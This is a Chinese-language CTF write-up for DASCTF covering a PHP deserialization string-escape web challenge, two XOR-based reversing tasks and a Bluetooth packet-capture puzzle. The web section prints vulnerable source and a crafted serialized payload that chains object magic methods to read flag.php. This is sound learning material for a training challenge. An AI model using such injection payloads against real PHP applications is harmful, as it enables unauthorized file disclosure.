DASCTFwriteup

Dasctf wp

前言

打了DASCTF发现自己太菜了,想拿个好看的名次还是要全面发展的,哭。

web

ezunserialize

  • 考点:php反序列化字符串逃逸

php代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function write($data)
{
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data)
{
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A
{
public $username;
public $password;
function __construct($a, $b)
{
$this->username = $a;
$this->password = $b;
}
}

class B
{
public $b = 'gqy';
function __destruct()
{
$c = 'a' . $this->b;
echo $c;
}
}

class C
{
public $c;
function __toString()
{
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'], $_GET['b']);
$b = unserialize(read(write(serialize($a))));

首先pop链很明显了,由B的_destruct()方法中的字符串拼接触发C的_toString()方法获取flag.php。

然后我们看到read方法,把’\0\0\0’字符串替换为chr(0) . ‘*’ . chr(0),而且read方法是在获取反序列化字符串才进行操作的,也就是说将6个字符的串换位3个字符的串,很明显是反序列化逃逸。

那要如何逃逸呢?输入username和password时候,如果能够将后面输入的password字符串替换为B的对象,那么就可以达到利用的效果。利用的时候要注意几个点,首先需要计算出需要逃逸的字符串长度,我们目的是为了覆盖password字段的属性,所以如下。

1
";s:8:"password";s:74:"1

只有字段字符被覆盖的情况下我们才可能注入一个B的恶意对象,并且由于我们是要从6个字符中逃逸3个字符,所以被压入username长度需要为3的整数倍,这里测试之后,我们发现这个长度最好是24,利用代码如下。

1
2
3
4
$finall_a = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
$finall_b = '1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:22:"/var/www/html/flag.php";}}}";}';//这里需要重新补充一个s:8:"password"使对象能够被正常反序列化。
echo urlencode($finall_a) . PHP_EOL;
echo urlencode($finall_b) . PHP_EOL;

最后getflag

reverse

逆向入门

先跑一下
image.png
找核心代码
image.png
简单的xor

1
2
3
4
5
keys='akhb~chdaZrdaZudqduvdZvvv|'
real=''
for i in keys:
real+=chr((ord(i)-1)^6)
print(real)

100分的逆向

一样的思路

找关键代码 Please input your magic number

发现v16到v53是一串数字,目测是数组,提取出来先。

逻辑是先输入一个大于9的数,然后在输入等长度的一串字符,这串字符的每一个字符会和v10亦或n次,最后相当于之前的数组亦或一个定值得到flag。

image.png

基本上就是a^v10=flag,这个v10 我们用明文flag{猜测一下,结果发现v10是64。那么就是和上面一样的操作了。

1
2
3
4
5
6
7
arr=[38,44,33,39,59,35,34,115,117,114,113,33,36,117,118,119,35,120,38,114,117,113,38,34,113,114,117,114,36,112,115,118,121,112,35,37,121,61]

result=''

for i in arr:
result+=chr(64^i)
print(result)

misc

两个签到题我就不写了。

blueshark

蓝牙抓包分析

image.png

找到一个特别的东西,把zip包的按照hex dump出来,010editor hex import,拿到压缩包。

压缩包提示密码就是pin值。

包不多,随便找下就好了。
image.png

解压就是flag

总结

有道web没做,有点可惜。下回有空复现。